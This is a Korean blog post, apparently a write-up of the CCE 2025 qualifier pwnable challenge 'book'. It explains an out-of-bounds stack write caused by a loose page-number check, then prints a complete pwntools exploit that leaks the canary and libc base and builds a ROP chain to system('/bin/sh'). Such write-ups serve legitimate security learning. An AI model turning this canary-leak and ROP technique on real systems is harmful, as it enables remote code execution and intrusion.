-
[CCE 2025] book WriteupCTF 2025. 8. 31. 14:48
CCE 2025 예선 pwnable book writeup입니다.

1. new
2. view
3. edit
이렇게 옵션이 있습니다.
여기서 글을 새로 쓰게 되면 스택에 저장됩니다.

edit 할 때 pagenum > 4로 검증하기 때문에 oob write를 할 수 있습니다.
스택이기 때문에 canary, libc leak 하고 ret 덮으면 됩니다.
from pwn import* # p = process("./prob") # p = remote("localhost",12345) p = remote("15.165.12.135",12345) libc = ELF("./libc.so.6") # gdb.attach(p,"b *main+434") # pause() p.sendlineafter(b"> ", b"1") p.sendlineafter(b": ", str(0x100).encode()) p.sendlineafter(b": ", b"A"*0x100) ### canary leak p.sendlineafter(b"> ", b"3") p.sendlineafter(b": ", b"4") p.sendlineafter(b": ", str(8).encode()) p.sendlineafter(b": ", b"A"*8) p.sendlineafter(b"> ", b"2") p.recvuntil(b"A"*0x108) p.recv(1) canary_bytes = b"\x00" + p.recv(7) canary = u64(canary_bytes) log.info(f"canary = {hex(canary)}") ### canary leak p.sendlineafter(b"> ", b"3") p.sendlineafter(b": ", b"4") p.sendlineafter(b": ", str(0x40).encode()) p.sendlineafter(b": ", b"A"*23) p.sendlineafter(b"> ", b"2") p.recvuntil(b"A"*(0x100+23)) p.recv(1) libc_start= u64(p.recv(6).ljust(8,b"\x00")) libc_base = libc_start - 0x2a1ca log.info(f"libc_base = {hex(libc_base)}") pop_rdi = libc_base + 0x000000000010f75b binsh = libc_base + 0x1cb42f system = libc_base + libc.symbols['system'] ret = libc_base + 0x000000000002882f ### exploit p.sendlineafter(b"> ", b"3") p.sendlineafter(b": ", b"4") p.sendlineafter(b": ", str(0x40).encode()) payload = b"A"*8 payload += p64(canary) payload += b"A"*8 payload += p64(pop_rdi) payload += p64(binsh) payload += p64(ret) payload += p64(system) p.sendlineafter(b": ", payload) p.sendlineafter(b"> ", b"4") p.interactive()'CTF' 카테고리의 다른 글
[CCE 2025] artisan Writeup (0) 2025.08.31